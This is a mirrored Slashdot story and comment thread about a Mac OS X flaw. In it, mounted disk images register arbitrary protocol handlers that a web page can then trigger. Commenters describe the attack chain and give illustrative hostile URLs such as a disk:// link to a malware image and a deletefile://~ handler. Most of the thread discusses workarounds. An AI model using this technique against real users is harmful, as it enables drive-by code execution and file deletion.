Slashdot Mirror
Yet Another Mac OS X Protocol Handler Exploit
Rosyna writes "Apple just can't get any breaks lately. First the help protocol handler exploit (which has been fixed), then the telnet handler exploit, and now an exploit for any arbitrary protocol handler: make your own, then exploit it. You can auto mount a volume in Mac OS X via the disk, afp, or ftp handlers (and probably others). Paranoid Android will help prevent exploitation until Apple fixes the problem." The hole here is that when a volume with an application on it is mounted, Apple registers the application's specified protocol handlers, without additional user action. Another option is to disable those handlers that allow volume mounting, but playing that game, obviously, isn't a guaranteed win in the long run.
Fire up MisFox again and update the help protocol helper to /System/Library/CoreServices/Help Viewer.app
If you disagree then it must be overrated, redundant or trolling.
This issue was discovered on the MacNN forum, when they were discussing the previous exploit. The accepted workaround was downloading one of the utilities to change the protocol helpers, but the user kampl refused to have any non-Apple "security fix" on his system (He never acknowledged that the utilities were not sucurity fixes at all, just tools to change user preferences). His solution was to delete the HelpViewer app from his system. One bright member of the forum pointed out that that isn't enough, you could probably just stick the HelpViewer on the .dmg image and LaunchServices would find it there. Another poster realized this might work for any application if you bind it to a bogus protocol in the Info.plist file, so there is no need for HelpViewer at all. A third poster had a sample exploit coded in no time. Apple was promptly notified, so we can expect another fix soon (hopefully).
To continue using Safari safely, just uncheck 'Open 'safe' files after downloading.' - which prevents the automagic mounting of disk images you download.
Doesn't stop images being mounted using disk:// as a protocol. i.e. disk://malware.somwhere.com/own3d.dmg
No one should be using that option.
It's on by default so game over. Not needed for this or new similar exploits to work anyway.
This is really the same exploit, with the same solution.
1) Disable automount of downloaded files in Safari.
2) Install the security update
3) Disable telnet: disk: and disks: protocols
That's it. No web page can exploit this arbitrary protocol problem if you do step 1 above. Step 2 fixes the help: issue, and step 3 fixes all other known issues.
Why does this warrant 4 stories in 4 days? Are all the Windows weenies just that thrilled that there is an exploit on OSX?
- Vincit qui patitur.
the sample exploit is only for disk.
Try one of these if you are so confident this is a PR stunt: http://ozwix.dk/OpnAppFixer/testit.html
No, that's not it at all. They're saying is that if you visit a properly-constructed web page, that page can cause your computer to execute arbitrary code without any further intervention on your part. You just go to the URL, and a few seconds later you've been owned.
Mod down posts with a "Free Mac Mini/iPod" sig, they're spam!
Its not just that simple, believe me.
But what they're saying is that if I mount a Trojan Horse disk image, it will do bad things to my computer. Explain to me how this is worse than a Trojan horse program? It's possible to write a trojan horse for any platform. Only download software from places you trust.
.sig for example. Click the .sig, and run the attacker's code.
A trojan program is one thing.
These exploits will, with one single click on a link somewhere in a browser, download an attacker's code and then run that code automatically.
There's a big difference between being sent an app or downloading it, then running it in a separate action, and "click this link to see a photo of my cat" then within seconds have an attacker's code wiping all files you have permission to run.
As is, a default OSX install is vulnerable to a malicious link in someone's slashdot
The best idea I have heard so far was proposed somewhere else on this discussion thread. Simply make disk: mounted images non-executable. That would require the user to drag an application off the disk image to "somewhere else" and then execute it manually.
That's a really bad idea. This problem is easy to fix without losing functionality, or doing something stupid like disallowing execution on mounted disk images. The reason that's stupid is because this doesn't affect only 'disk:' mounted images: it affects afp, ftp, smb, webdav, nfs, and any method of mounting a volume. It's also really stupid because pretty much every single installer under the sun runs from a disk image. Having to copy it off first to even run it is a really, really, really bad idea because it would break the whole idea of disk images in the first place.
Fortunately, there's a simple fix: instead of letting registration of arbitrary handlers happen by LaunchServices *before* an application is even launched - which is the key to this exploit - Apple should only allow registration after an application is launched. This would require actual user interaction to specifically launch an application. That alone would protect against this exploit.
There are a number of workarounds at the moment:
1. The best is Paranoid Android linked to in the article itself. PA itself uses the APE kernel extension from Unsanity, however, and some people have reported problems with this.
2. Another method is to use Internet Exploere, MisFox or MoreInternet to set the following protocol helpers which can mount volumes, to point to an innocuous application, such as Chess.
fpt:
afp:
disk:
disks:
3. In a public environment where there are some automatcially mounted network shares such as in a university, school or company, you would also have to take into account protocols such as:
nfs:
webdav:
smb:
cifs:
but these are less likey to be used in conjunction with this vulnerability as it would be more difficult to get one of these users to simultaneously go to a webpage that exploits this.
I'm not a mindless Apple apologist. This current set of URI handler vulnerabilities is horrendous and I'm pissed. Thankfully this is the exception rather than the rule... at least to date.
While Paranoid Android 1.1 is better than nothing, it allows some exploits to slip through. Basically, it allows ftp links to mount in the Finder. Once this is done, the Finder will register any URL handlers present. That can include URL handlers that Paranoid Android trusts.
All of this is even after the 5-24 security update is installed, of course.
Apple really need to do something about Launch Services. I think the best bet would be to mark newly discovered URL schemes as untrusted. When the user tries to run an untrusted scheme for the first time, warn them about it.
Well let me tell couple of things as explanation.
:)
:) Virex heheh, may start to wonder how much of your .mac membership fee goes to Mcafee :P
As a tradition on every computer I bought since Amiga 500, I buy a antivirus.
I bought this G5, converting from PC at November 2003, checking my receipts, I bought the Intego virusbarrier 10 days later after seeing Virex and Norton are pure crap. Also I have special feelings about Mcafee and Symantec from windows days
I agree to your post but... Remembering back in the day how damn DASA (one of first amiga viruses) effected me, I decided to carry on my tradition.
I just don't agree "snake oil", its a real big blame to a security company and its users. I bought virusbarrier knowing there is nearly no threat to OS X oh and "shoot me", I bought netbarrier too. Just I don't like how OS X firewall works and not too friendly to my everyday usage.
Intego did ONE stupid thing. They advertised their product in that press release. Yes, it actually "finds" whatever that is but it was a big PR stupidness showing their product.
btw, you have a mac antivirus license too
Funny, how these assumptions happen.
/System? You can get that off of a CD in half an hour. It's the documents, pictures, movies, and music that you have that are difficult to replace, and owning your user account is enough for a virus to destroy them.
I'm a Mac owner. I've owned nothing but Apple computers, first an Apple IIGS then a series of Macs. I love them, and I think Apple is great. But that doesn't prevent me from facing reality.
The fact is, it doesn't matter if "only" your user account is compromised, and root remains secure. What can a trojan possibly do to your computer that you don't want it to do? It can delete files, spy on you, and proxy spam or other malicious network connections. It can do all of this with "only" your user account. You don't have to be root to proxy anything. You don't have to be root to run a keylogger or run a heuristic that greps for credit card numbers. You don't have to be root to trash all of the files in your home directory, which should be the only ones you care about. Who cares if the trojan can't trash the stuff in
The unix permissions model is great on multiuser systems, but on a home desktop it really just doesn't help that much. It's nice, but it fails to protect that which I care most about.
Mod down posts with a "Free Mac Mini/iPod" sig, they're spam!
Ok, my configuration:
Mac OS/X 10.2.8, with all services turned off and the firewall turned on, denying everything, and all Directory Access protocols turned off (what can I say, I'm a little paranoid). I also have a hardware firewall between my laptop and my cable modem. Belt and suspenders, right?
I don't use Safari because it doesn't seem to be too stable on my machine for some reason (gypsy curse?). If I install it, it crashes on some of the sites I visit (I think this is a Java issue of some kind). So I deleted it.
For a browser, I generally use Mozilla 1.6, although I like to play with Firefox and Camino, too. I'll probably switch to Firefox permanantly when they get past the 1.0 hurdle. In my browsers, I have killed most of the plugin handlers except for the obvious ones, like mp3 and so on. Plus, I'm sadistic about popup windows and cookies.
OK, enough introduction.
I tried the vulnerability links on the site, and they didn't work on my system. The first link produced an error message claiming a "type 2" error, then a popup which said that the protocol in use was not a registered protocol. The second link didn't produce an error, but it did produce the registered protocol warning. Neither link resulted in a file being saved to my machine, or indeed any other visible effect.
Note that the website did mention that users of Jaguar might not be vulnerable, and that there was anecdocal evidence for this. So, let me add my anecdote to the collection of anecdotes already present, and say that if you're running a similar setup to mine, you might be alright.
-Phil
Farewell! It's been a fine buncha years!
Actually, this IS an exploit.
Using this technique, an attacker can cause a disk image to open on your machine, the OS will then faithfully install any arbitrary URL handlers that applications on that disk image say they can handle (for example a deletefile: URL handler), then the same website can forward you to a deletefile://~ URL, thus deleting your home directory.
While it would be easy to tell that the web site is opening a disk image, and the application it starts would probably appear in the Dock, it doesn't make it easy to prevent the Application on the disk image from being executed using this method.